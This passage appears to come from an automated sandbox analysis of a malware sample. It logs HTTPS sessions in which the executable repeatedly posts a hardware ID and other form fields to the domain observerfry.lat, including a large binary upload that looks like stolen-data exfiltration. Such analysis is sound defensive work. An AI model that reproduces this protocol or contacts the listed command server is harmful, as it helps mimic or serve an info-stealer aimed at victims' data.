2024-12-24 11:39:13 UTC	15059	OUT	Data Raw: 2d 2d 54 53 4e 4e 30 51 36 4e 55 38 42 35 51 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 54 53 4e 4e 30 51 36 4e 55 38 42 35 51 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 53 4e 4e 30 51 36 4e 55 38 42 35 51 37 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 54 53 4e 4e 30 Data Ascii: --TSNN0Q6NU8B5Q7TContent-Disposition: form-data; name="hwid"20C60AD8767D4A55BEBA0C6A975F1733--TSNN0Q6NU8B5Q7TContent-Disposition: form-data; name="pid"2--TSNN0Q6NU8B5Q7TContent-Disposition: form-data; name="lid"PsFKDg--pablo--TSNN0
2024-12-24 11:39:14 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=06p7u5aqiflulkbtglu71dcrjl; expires=Sat, 19 Apr 2025 05:25:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jw37Gsf0KCrsTM4r1Z8LwpMgcr2qkj84i6VfeskMCaSvS718ypDnkPJbUWJTlYzaRVebihoGMto4eCt8QToEjCgguRmMhSNTgwHwrt%2FhwcAvXBvyv5sV7NKlxQoYcwBmZiQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f45ec1fc43b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2480&min_rtt=1488&rtt_var=1266&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15995&delivery_rate=1962365&cwnd=194&unsent_bytes=0&cid=98592dc9537619be&ts=890&x=0"
2024-12-24 11:39:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:16 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3O7UJBKU2LEPHZ0AE82 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: observerfry.lat
2024-12-24 11:39:16 UTC	15331	OUT	Data Raw: 2d 2d 33 4f 37 55 4a 42 4b 55 32 4c 45 50 48 5a 30 41 45 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 33 4f 37 55 4a 42 4b 55 32 4c 45 50 48 5a 30 41 45 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 4f 37 55 4a 42 4b 55 32 4c 45 50 48 5a 30 41 45 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --3O7UJBKU2LEPHZ0AE82Content-Disposition: form-data; name="hwid"20C60AD8767D4A55BEBA0C6A975F1733--3O7UJBKU2LEPHZ0AE82Content-Disposition: form-data; name="pid"3--3O7UJBKU2LEPHZ0AE82Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-24 11:39:16 UTC	5242	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-12-24 11:39:17 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=27vu6bnvfirqipgcrrq5325v46; expires=Sat, 19 Apr 2025 05:25:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2BFnt1%2B8r5bLK3kKJQsZqNmalRULU5inYb5IQzGi%2FyfwGs2JiKCIOevYS4NOfhyLmfJWVvdrr%2BFWjO6bLEIhUssdhliMKNhFGsPMigC5Ewx5kO6BaSAaZrT8ctEc9ksb9GY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f542f375e68-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1757&min_rtt=1756&rtt_var=661&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21535&delivery_rate=1651583&cwnd=214&unsent_bytes=0&cid=4776f60d40e56edc&ts=994&x=0"
2024-12-24 11:39:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:19 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y6KQ3ZDNJVWJTKDUQQ1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: observerfry.lat
2024-12-24 11:39:19 UTC	1266	OUT	Data Raw: 2d 2d 59 36 4b 51 33 5a 44 4e 4a 56 57 4a 54 4b 44 55 51 51 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 59 36 4b 51 33 5a 44 4e 4a 56 57 4a 54 4b 44 55 51 51 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 36 4b 51 33 5a 44 4e 4a 56 57 4a 54 4b 44 55 51 51 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --Y6KQ3ZDNJVWJTKDUQQ1Content-Disposition: form-data; name="hwid"20C60AD8767D4A55BEBA0C6A975F1733--Y6KQ3ZDNJVWJTKDUQQ1Content-Disposition: form-data; name="pid"1--Y6KQ3ZDNJVWJTKDUQQ1Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-24 11:39:19 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=boio8o0vhmbkvhk7oi0m60tk9b; expires=Sat, 19 Apr 2025 05:25:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WzLJz8U4nVkaltu1n4e4tGVikmqumSHwKvftt9QEvs%2BxQWczM7CZq4%2BythDEw9l8PjBkYSdtV92pNQQKB8FT%2FBZlVsuo2yhrkJ1lNMT6%2BF%2FKWI8s70cJ2xxPtlgnH8uFVmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f663b804246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&min_rtt=1664&rtt_var=639&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2183&delivery_rate=1692753&cwnd=229&unsent_bytes=0&cid=87de94338f4ca2dc&ts=751&x=0"
2024-12-24 11:39:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZJ6RRF2C6XCQY44NQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551078 Host: observerfry.lat
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 2d 2d 5a 4a 36 52 52 46 32 43 36 58 43 51 59 34 34 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 4a 36 52 52 46 32 43 36 58 43 51 59 34 34 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 4a 36 52 52 46 32 43 36 58 43 51 59 34 34 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --ZJ6RRF2C6XCQY44NQContent-Disposition: form-data; name="hwid"20C60AD8767D4A55BEBA0C6A975F1733--ZJ6RRF2C6XCQY44NQContent-Disposition: form-data; name="pid"1--ZJ6RRF2C6XCQY44NQContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 77 0e a4 a1 28 e5 6f b2 88 0b c3 97 a3 4b 6b f2 03 a5 e6 02 d8 2f b4 57 c4 c1 3b e5 96 6a a3 a6 a5 e8 ef b8 73 7e 66 4f 14 e3 65 b7 7e c9 92 53 bc 65 6f ec 78 9a bf a5 d5 e3 71 df 57 60 51 47 32 a1 fb 87 30 ca c0 6c b4 8a 7f a1 48 6a 5c 56 a2 30 cd d2 05 ba 94 2a 19 b7 96 c9 a2 0c 89 5e aa 48 1c cf 88 20 59 9b b6 fb ca 56 3c aa 85 25 24 25 b7 33 94 23 61 a1 44 6f d6 ec f4 6e 41 b0 2c c4 48 a6 16 9d c6 05 da a3 a9 25 5b 9d 8e 4f 93 2b 3d 9e e3 61 2f a8 42 44 2a ed 13 44 8f 91 66 a5 47 41 a9 13 ce 0c 5d 3c 4b a4 f9 f2 41 a6 03 ec c8 5d 64 d7 29 a0 56 f9 01 7d 49 64 6b 27 1a 9e d3 6e 05 cc a2 90 4a 3e 14 a8 2f 3d 56 64 05 5b 6f 19 b9 0a d9 ad dd 93 6a 7a ce b4 bf fc de 15 ac 95 1f b1 79 a7 b5 b9 52 b1 6f 7d ce d5 fe ed e0 0b 5c 7f a9 b3 6b 81 80 83 db db 8d Data Ascii: w(oKk/W;js~fOe~SeoxqW`QG20lHj\V0^H YV<%$%3#aDonA,H%[O+=a/BDDfGA]<KA]d)V}Idk'nJ>/=Vd[ojzyRo}\k
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 37 2f 3d 7f 65 c6 6a 20 94 9f 18 14 68 45 73 c8 56 ed d6 e2 f3 94 24 0f fd 4a 6d 86 e4 19 f2 7f 1e 11 47 55 2b 34 24 1e 18 08 d4 c5 ab 4b ca 5d b0 ce 14 aa 0e 0f 3f 38 4e 6b 5c 37 4d c8 9c ef 62 33 0d 2b d4 be 19 5a cf bc 48 13 19 97 e5 be de 46 bc 65 a4 8b 3b 68 9b d0 7a e9 c1 6b 65 2f 52 2f e1 d0 48 bd 75 cd c9 ea d3 88 ec df b0 e8 aa f8 ab a9 ec 96 ff c6 80 2b 3d c5 21 60 b6 60 52 b3 cb ee 11 ef 5b 25 c7 f5 2e db c0 13 25 78 0e f8 0d 7c df fa 8b f7 f3 df ac b6 79 2e b3 7a d9 76 68 e3 c2 dd ce 8b 2e af 1d 79 4d 22 3f dc 82 dd 03 36 2a ed d7 2f e9 ba 73 e7 83 96 d4 db 7f fe a9 82 a6 ab 82 b4 50 46 a1 70 85 21 44 9d 78 f4 59 ff b9 21 77 6d a7 0c 67 09 b0 50 f8 b9 41 37 08 0c cd 22 98 cb e5 07 60 c4 5f 4d 35 b8 05 58 e9 df d4 ae 6b 83 5f a5 88 0a f0 02 cc Data Ascii: 7/=ej hEsV$JmGU+4$K]?8Nk\7Mb3+ZHFe;hzke/R/Hu+=!``R[%.%x\|y.zvh.yM"?6*/sPFp!DxY!wmgPA7"`_M5Xk_
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 70 a5 00 d3 7f a6 b2 22 85 fd 56 08 85 e2 96 78 65 fb 77 12 1d e0 f0 40 3f 95 cf 7b 05 52 5f 53 08 dd 8b 46 72 76 6a c5 61 37 88 51 67 ce 8b 8e d0 de fd 6b 62 f6 de ad af 1e 45 00 64 45 af 2e 99 34 e5 88 49 a5 6e 34 a3 fb d2 2c 52 9d 88 a3 c8 82 ff d3 23 e4 bf dd fd a9 7f af ec d2 ff 05 21 e0 68 1a a4 35 11 62 5e 4b 00 d9 9e 9e 1c 4f 3f 50 ef ba e3 e0 ab 90 c0 66 3f 34 f9 01 ec 2a 16 2d 0d 6f 76 0a 2c de 05 64 4f 2b 30 3a ff d9 af 3f b2 15 b3 1e 06 d6 24 b9 c2 4a 8b 76 00 fe 32 f8 6e b8 d2 7b fd 61 55 e5 ef b9 cb 79 7a de ed e8 f3 02 d8 12 2b 35 46 b2 21 50 20 d0 3c 4e 0a 6a e7 68 4c 65 f4 c4 e7 30 5e 75 38 e9 a2 69 69 16 48 aa 79 b1 65 53 38 3d 58 03 17 54 93 3f c3 7a 7a 63 ac 3b 72 72 96 59 17 43 ae 36 36 27 39 48 ac 0d ea 2f 27 14 62 99 f5 26 0f aa 8d Data Ascii: p"Vxew@?{R_SFrvja7QgkbEdE.4In4,R#!h5b^KO?Pf?4*-ov,dO+0:?$Jv2n{aUyz+5F!P <NjhLe0^u8iiHyeS8=XT?zzc;rrYC66'9H/'b&
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 02 fb 4f cc 59 15 53 47 31 e7 f2 a2 76 25 85 d0 f0 e7 28 ae 82 96 bd 42 55 de d7 52 a5 61 ed ee b7 4d 24 05 ce 96 de fc 38 52 8e c4 fa f8 f9 ed 87 84 1a 3a 8d b9 d7 70 10 b4 b1 95 54 dc e4 08 a1 21 2c b4 82 5f 05 eb c4 ec bd 24 da 63 fb 6d ec e1 14 54 25 ff 30 e1 45 7e f3 bb fa b9 eb 0b e1 b1 d7 fa 0e 04 b5 e1 f3 a2 c2 77 00 f5 50 7a 92 b0 ab 73 aa 8f d0 39 80 3c f2 2a e5 c1 64 14 39 da 0b 7a a7 90 00 08 03 90 df fe de bf 8d 07 a2 56 8f e2 a4 85 1b 32 76 35 d7 85 f1 f3 4b b1 7f 89 8b 29 60 45 0e d0 97 03 5b 85 aa 36 e1 52 cf 8f af 0d cb 19 71 ac 47 37 22 2a 5c 14 42 f9 c1 4f 0f 99 1b 2d a7 b1 b0 f7 1f cf a3 55 4e 29 0a 2d 75 91 fc c0 62 11 f8 e7 a6 35 5b de b5 f8 e1 97 5b 47 1f 1f e1 94 b3 de 2d 6b 92 65 c6 8f 0a 9a ee 99 78 3b c3 d0 04 b2 28 5a 49 1c 43 Data Ascii: OYSG1v%(BURaM$8R:pT!,_$cmT%0E~wPzs9<d9zV2v5K)`E[6RqG7"\BO-UN)-ub5[[G-kex;(ZIC
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 4b 63 1c 49 0b ba 0c d0 d7 fa b3 ef 98 61 b3 8c 36 af 61 e9 07 06 7c da 60 fe 7c e3 ba b0 e1 4f 95 fc 10 c1 2b 3a 85 cd 6a 82 9d a5 f3 fd 91 31 86 e7 91 fd bc 2e e9 0d 05 3e 9f b3 72 dc a5 c3 50 6d fd a6 09 2a 51 60 7e fe 96 f0 f4 57 40 8f ff 34 5f 7a 83 9d 0e 28 a5 10 9c e9 7d 04 b9 79 84 57 98 c3 b7 81 5e fd 5c 8b 85 63 fd b6 9c 78 ed 73 a5 7f b2 d1 81 22 30 5a 8d 14 2a 60 a4 15 57 9d f1 6d de 82 05 57 36 fc 4f 4b 43 4a 12 08 91 49 fc f6 cd 05 04 9f f8 69 91 ef c4 f1 9d 94 6a 40 50 bc ba f1 7c 40 16 fe 85 06 f6 d0 20 16 90 65 25 be 91 e8 62 10 dd e2 9c 40 1a 0e ec 41 29 fc 3e 44 f7 22 10 f6 7b 82 b2 1b 48 be e8 d4 40 c0 c7 ff c0 bb f6 5e f9 72 de 09 eb 8a e2 63 e6 25 7e 71 c4 be f5 95 58 55 11 f9 66 47 f1 3b 5c 58 3b b9 38 f5 04 dd c5 17 a1 be 6c be 77 Data Ascii: KcIa6a\|`\|O+:j1.>rPmQ`~W@4_z(}yW^\cxs"0Z`WmW6OKCJIij@P\|@ e%b@A)>D"{H@^rc%~qXUfG;\X;8lw
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 00 6a 37 56 ff 28 82 a8 95 54 c5 1f bc 90 a6 95 67 25 21 eb 6b 81 7f b2 29 b4 90 b1 16 3f 1e 77 e3 47 2b 75 b5 fc 3c 9a 3a c0 f3 e5 d9 2e 57 84 67 2b e9 11 6b f6 5c 88 59 cb 3c b2 f4 ef e1 23 4b eb 2c aa e1 ab de fe 90 8f e1 ed c0 a9 95 5b e3 cd d1 bf 3a fa df d4 56 d6 18 60 dc 3d 12 b2 d2 2f 07 c4 81 97 e7 ff ad 08 d5 36 e4 f3 ba 2d ea 7f f6 a4 ac c5 d9 af 6e ef 7c 12 b9 55 d3 1e a8 90 94 61 65 ba 77 c9 89 e9 f0 25 a4 8e 09 3e b5 41 09 75 34 19 eb 2c 20 70 b9 37 aa 74 17 a9 e5 1b fa e5 ff bf 56 30 38 78 73 d5 e8 15 d0 16 4f 17 07 59 d2 68 25 7d 70 0c 5b dc 56 aa 21 f2 ed 3e 1c 71 74 de 20 82 bb d5 01 07 49 ae 9f 34 d2 96 01 f0 e4 fa 2f f5 7a 6f 21 8a 56 74 e9 b7 99 4c 97 f5 02 92 53 eb 78 64 09 76 7b 2a cf ed 35 da f5 a6 e9 5b d4 47 db b0 c8 64 e0 0e f8 Data Ascii: j7V(Tg%!k)?wG+u<:.Wg+k\Y<#K,[:V`=/6-n\|Uaew%>Au4, p7tV08xsOYh%}p[V!>qt I4/zo!VtLSxdv{*5[Gd
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 26 2b bf 6b 4f 4a 38 07 41 c7 48 1f 76 77 d5 fd 48 ec c2 2a 31 69 4f 16 15 9b 1d e4 1b ff f8 9f 6c 14 78 cd ea da 5b ec 9c c9 f1 f1 3f 4b 53 ef 3c 2a 4d 1c 53 7f 5a 35 46 5e ab da 12 5f 10 1b f3 aa 80 01 8b d2 78 b6 5d bc 62 3a a9 2f bd df fc c9 07 85 31 ff 3c 0d 71 8b 77 bf 5a 27 c7 c3 a9 f1 83 94 ef 96 e7 9e 94 07 c9 8a 1f ab cb 08 22 9c 72 f0 aa fa 45 f2 d0 d8 99 59 88 0d 88 7f ff 13 f2 79 12 e6 20 6e 0e 46 01 4f 69 7a 5d 83 93 73 46 b5 a5 38 98 de c6 6b d9 13 1f 26 d8 1f 1b 4c 5c 94 fb 0d cd 1d 0d 29 cf 03 82 11 85 b5 1c fb 6f 84 d3 aa 46 58 b9 37 b7 5c 0a 6a 83 90 44 13 1b 3d d6 5f a8 bf 32 d1 65 11 34 85 f8 e5 69 bb e3 83 84 a9 5f f0 91 d2 3d ed a3 4f df 97 30 de 37 bd 96 de fa fb d3 60 16 99 cc b9 95 94 b8 4e 33 26 f0 a9 fa f1 7e 62 5b 5d 5b 01 22 Data Ascii: &+kOJ8AHvwH1iOlx[?KS<MSZ5F^_x]b:/1<qwZ'"rEYy nFOiz]sF8k&L\)oFX7\jD=_2e4i_=O07`N3&~b[]["
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: e7 68 cd e9 25 1e b4 34 11 77 1c 26 8c 9d 7c 4c 5e 1b b2 2c 3d b2 e9 0f e2 21 4d ba 9d 5f 9b d2 44 94 5e 3c 50 6d e6 be ba 6d 99 3c 09 cd 83 19 82 90 d2 25 cb f7 27 a1 f8 35 6b d8 94 e7 6f 3c dd e4 aa db 99 63 aa ef 92 90 9a f2 b4 3a 41 fe a7 65 fd 29 e9 8b a4 6b d5 1f aa 54 67 5c 47 6c 95 08 fc ba 7e 52 1a 94 9d 47 45 59 44 59 9a 59 3b 6b 7a aa 59 66 e8 e0 0e 8d ee b7 8c 65 6c 02 d9 01 58 79 a5 da 80 dd 2d 4f af 05 8b 82 e4 38 e9 28 8b d8 98 f0 da dd 11 ad e9 bd 91 50 e6 4a f0 ff bc 1e 22 fb df af 97 4c 6f f7 3f 10 07 59 38 cc ff e7 00 4d 91 e9 b6 58 f8 5e 6c be c2 e9 ce 6b d6 9f e3 37 c9 54 4d 50 ab a9 25 68 db 63 bb e4 54 a3 ed df 63 95 8c e8 df 87 38 52 b9 27 46 44 e9 43 ac 54 74 55 83 98 92 9c 37 81 f8 47 3c ac c9 56 ba 6b fb 8e 2e b9 ed 52 99 53 0f Data Ascii: h%4w&\|L^,=!M_D^<Pmm<%'5ko<c:Ae)kTg\Gl~RGEYDYY;kzYfelXy-O8(PJ"Lo?Y8MX^lk7TMP%hcTc8R'FDCTtU7G<Vk.RS
2024-12-24 11:39:21 UTC	15331	OUT	Data Raw: 9f 3d 72 78 1e 20 1a 01 1f 97 46 36 44 ca 52 3c 53 d0 76 71 99 bd 4f a3 49 d5 66 14 0d 36 cd e9 83 a1 62 9f 07 4e c2 2c d5 34 fc 84 23 60 da 76 a9 c1 1a 3b 2f ff 31 83 96 a4 09 32 e0 c2 d6 e4 cc 83 cc cc 20 ee bd 7f bd 9d 1a 2d 22 1d 18 e9 d8 f8 a7 1b a5 3e af 8e 2a 6c c4 34 3c a9 f2 39 21 3f f9 7e c5 6f 0b d5 bc 96 29 06 fd f5 a5 5a 55 7e a9 7c af f0 9b 2f d5 d8 ff 08 03 6f 0e 5a 94 96 e8 50 e0 f0 d3 f1 be 64 76 7a 94 79 97 ac d4 e5 ee 6a 2b 82 5e 93 31 18 25 62 26 0a 0f 9d ca 33 74 8f 7b 5f 77 96 d6 53 68 fa b1 16 0e 3a 4b db 2a be e9 5f de 8f c5 2c 1e 1c fc ab c2 4f 82 4a 1a 1e 52 a5 db c6 c4 ae 51 3e 1b ad d7 3b 18 b6 64 56 bd 47 65 fa c0 a7 70 08 75 71 7f 8a 9f 65 d0 dc f7 37 86 63 bd 8f 67 13 c9 0e 3c f9 85 f3 a7 5d bc 6a dc 6b 42 50 72 72 c0 2e 24 Data Ascii: =rx F6DR<SvqOIf6bN,4#`v;/12 -">l4<9!?~o)ZU~\|/oZPdvzyj+^1%b&3t{_wSh:K_,OJRQ>;dVGepuqe7cg<]jkBPrr.$
2024-12-24 11:39:23 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ud408kvbg84fa9k1mlsnrl22c4; expires=Sat, 19 Apr 2025 05:26:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mKjCqqo%2B5fwIDWDwVGA43Chze9cC8UfAz3aZOxezZz7%2FG968mm2m8%2FemRplV49TZFCnbggYXCFl%2FJ7h2yjlMY5aZr3woTnWptSSXfSHGEeLEzOfLxh5VpyVGurT6ztldURA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f759e007c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&min_rtt=1805&rtt_var=682&sent=342&recv=571&lost=0&retrans=0&sent_bytes=2837&recv_bytes=553557&delivery_rate=1597374&cwnd=189&unsent_bytes=0&cid=ccf39157528df4b6&ts=2283&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
